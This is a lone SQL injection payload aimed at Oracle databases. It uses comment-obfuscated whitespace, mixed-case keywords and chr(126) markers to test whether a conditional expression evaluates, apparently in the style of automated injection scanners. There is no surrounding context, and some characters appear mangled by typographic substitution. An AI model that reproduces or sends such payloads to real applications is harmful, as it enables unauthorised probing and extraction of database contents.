1″ AND ANd/**/2158=(SelecT/**/UpPeR(chr(126)||~||(SELect/**/(case/**/WheN/**/(2158=2158)/**/THen/**/1/**/ELse/**/0/**/END)/**/froM/**/duAl)||~||chR(126))/**/FroM/**/DUal/**/wherE/**/DbMs_rANdoM.VaLUe(2467,1590)=1881)– – 1